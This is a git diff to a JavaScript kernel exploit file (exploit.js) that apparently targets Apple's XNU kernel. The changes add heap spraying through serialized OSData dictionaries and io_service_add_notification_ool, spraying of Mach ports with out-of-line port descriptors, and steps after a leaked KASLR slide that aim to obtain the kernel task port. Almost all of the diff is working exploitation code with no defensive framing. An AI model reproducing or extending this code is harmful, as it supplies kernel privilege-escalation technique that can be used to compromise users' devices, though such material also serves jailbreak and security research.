1 files changed, 105 insertions, 8 deletions

diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index 402dd9f..c28e59c 100644
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -19,6 +19,15 @@ var kport_ip_srights4 = 0x70;
 var KERN_SUCCESS = 0;
 var NULL = 0;
 var MACH_PORT_NULL = 0;
+var req_init_port_set = 0x1c;
+var req_head_msgh_bits = 0x0;
+var req_head_msgh_request_port = 0x8;
+var req_head_msgh_reply_port = 0xc;
+var req_head_msgh_id = 0x14;
+var req_msgh_body_msgh_descriptor_count = 0x18;
+var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2;
+var req_init_port_set_address = 0x0
+var req_init_port_set_count = 0x4
 
 var kslide = 0;
 
@@ -62,11 +71,7 @@ function spray_data(mem, size, num, portptr) {
 	write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;
 
 	for (var i = 0; i < num; i++) {
-		if (i == (num - 1)) {
-			write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
-		} else {
-			write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
-		}
+		write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
 		if (mem != 0 && size != 0) {
 			memcpy(dict + (__cnt << 2), mem, size);
 		}
@@ -136,10 +141,86 @@ function copyinPort(kport, cnt) {
 			printf("still alive? %x\n", 420);
 			printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
 			found = true;
-			return (read_u32(buf + (4 << 2)) - 0x78);
+			return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
 		}
 	}
+}
+
+function prepare_ptr(dict, size, ptr, num) {
+	var idx = 0;
+	write_u32(dict + (idx << 2), kOSSerializeMagic); idx++;
+	write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++;
+	write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++;
+	write_u32(dict + (idx << 2), 0x0079656b); idx++;
+	write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++;
+	for (var i = 0; i < num; i++) {
+		write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++;
+		write_u32(dict + (idx << 2), ptr); idx++;
+		write_u32(dict + (idx << 2), ptr); idx++;
+	}
+
+	write_u32(size, idx * 4);
+	return KERN_SUCCESS;
+}
+
+function spray(dict, size, port) {
+	var err = malloc(4);
+	var ret = 0;
+	var master = malloc(4);
+
+	host_get_io_master(mach_host_self(), master);
+	io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port);
+
+	if (ret == KERN_SUCCESS) {
+		ret = read_u32(err);
+	}
 
+	return ret;
+}
+
+var kp = 0;
+function spray_ports(number_port_descs) {
+	printf("spray_ports\n");
+	if (kp == 0) {
+		kp = malloc(4);
+		mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, kp);
+		mach_port_insert_right(mach_task_self(), read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
+	}
+
+	var mp = malloc(4);
+
+	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, mp);
+	printf("%x\n", read_u32(mp));
+	mach_port_insert_right(mach_task_self(), read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
+
+	send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+	return mp;
+}
+
+function send_ports(target, payload, num, number_port_descs) {
+	var init_port_set = malloc(num * 4);
+
+	for (var i = 0; i < num; i++) {
+		write_u32(init_port_set + (i << 2), payload);
+	}
+
+	var buf = malloc(0x1c + (number_port_descs * 0xc));
+	write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
+
+	for (var i = 0; i < number_port_descs; i++) {
+		write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set);
+		write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num);
+		write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0);
+		write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19);
+		write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR);
+	}
+
+	write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
+	write_u32(buf + req_head_msgh_request_port, target);
+	write_u32(buf + req_head_msgh_reply_port, 0);
+	write_u32(buf + req_head_msgh_id, 1337);
+
+	return mach_msg(read_u32(buf + 0x0), read_u32(buf + 0x4), read_u32(buf + 0x8), read_u32(buf + 0xc), read_u32(buf + 0x10), read_u32(buf + 0x14), 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
 }
 
 function get_kernel_task() {
@@ -169,8 +250,8 @@ function get_kernel_task() {
 	var big_buf = malloc(MIG_MAX);
 	var small_buf = malloc(MIG_MAX);
 	
-	var big_size = 0;
-	var small_size = 0;
+	var big_size = malloc(4);
+	var small_size = malloc(4);
 
 	var fp = malloc(PORTS_NUM * 4);
 	var postSpray = malloc(4);
@@ -180,6 +261,22 @@ function get_kernel_task() {
 	var kptr = copyinPort(kport, 2);
 
 	printf("0x%08x\n", kptr);
+	write_u32(data, kptr);
+	write_u32(data + 4, kptr);
+
+	prepare_ptr(big_buf, big_size, kptr, 256);
+	prepare_ptr(small_buf, small_size, kptr, 32);
+
+	for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
+		var dummy = malloc(4);
+		spray(big_buf, big_size, dummy);
+	}
+
+	for (var i = 0; i < PORTS_NUM; i++) {
+		write_u32(fp + (i << 2), spray_ports(i));
+		var dummy = malloc(4);
+		spray(small_buf, small_size, dummy);
+	}
 
 	printf("get lucky\n");